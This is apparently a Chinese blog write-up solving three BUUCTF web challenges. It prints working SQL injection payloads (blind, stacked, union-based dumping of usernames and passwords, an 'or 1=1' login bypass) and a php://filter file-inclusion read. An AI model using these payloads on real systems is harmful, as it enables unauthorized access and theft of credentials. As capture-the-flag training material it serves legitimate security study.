Web学习之路(BUUCTF刷题之旅2)

目录

一、[SUCTF 2019]EasySQL

二、[极客大挑战 2019]Secret File

三、[极客大挑战 2019]LoveSQL


[SUCTF 2019]EasySQL

这里发现输入非零数字都有回显,输入字母无回显。

这里猜测到内部的查询语句可能有 || 。

输入1'无回显,果然时SQL注入。(应该是关闭了错误回显,报错注入不可行)

用order去试探有多少个字段,回显为“Nonono.”。这里应该是order by参数被过滤掉了,联合查询不可用了。

1' and length(database())>=1#

试试盲注(布尔盲注)。

 

1 and if(length(database())>=1,1,sleep(2))#

试试时间盲注。

这里发现,大多数的关键字都被过滤掉了。

最后试试堆叠注入。

查看有哪些数据库和表。

 

flag应该就在FLAG表中,试着查看,发现被过滤掉了。

因为输入非零数字得到的回显1和输入其余字符得不到回显,所以来判断出内部的查询语句可能存在有||。此时||起到了or的作用。

这时对后端语句进行猜测,内置的SQL语句为:

sql=“select”.post[‘query’]."||flag from Flag";

如果$post[‘query’]的数据为*,1,sql语句就变成了

select *,1||flag from Flag;

这里直接构造Payload为:*,1

得到flag。

[极客大挑战 2019]Secret File

老规矩查看页面源代码,发现了“Archive_room.php”。

这里看到了一个button,点进去。

 发现直接跳转到了end.php。

继续查看源代码,发现了"action.php"。

但是,发现"action.php"无法访问,又跳转到了"end.php" 。

这里猜测,应该是跳转的很快,所以我们需要用Burp Suite进行抓包。

发现有一个隐藏的回应。于是访问"secr3t.php"。

发现,flag放在了"flag.php"中。于是访问"flag.php"。

而且发现filter没有被过滤掉。

 

flag被遮挡了......

这里想到文件包含漏洞,我们可以使用PHP伪协议获取文件。

 

 构造Payload为:

?file=php://filter/convert.base64-encode/resource=flag.php

得到flag。

 [极客大挑战 2019]LoveSQL

发现了登录框,用万能登录试试。

用户名:1' or 1=1#

密码:111

显示登录成功,得到了用户名和登录密码。而且可以看到,跳转到了"check.php"界面。

继续注入。

 当在url中输入:check.php?username=admin' order by 4%23&password=1

发现报错,可知共有3个字段。

这里我们用union测试回显点位,也就是注入点。

/check.php?username=1' union select 1,2,3%23&password=1

 查询当前数据库名和版本。

/check.php?username=1' union select 1,database(),version()%23&password=1

这里我们得知当前数据库为geek。

 爆表。

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

 爆"l0ve1ysq1"这个表的字段。

得到了3个字段,继续去爆数据。

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

拿到了flag。

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI仿生道士

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值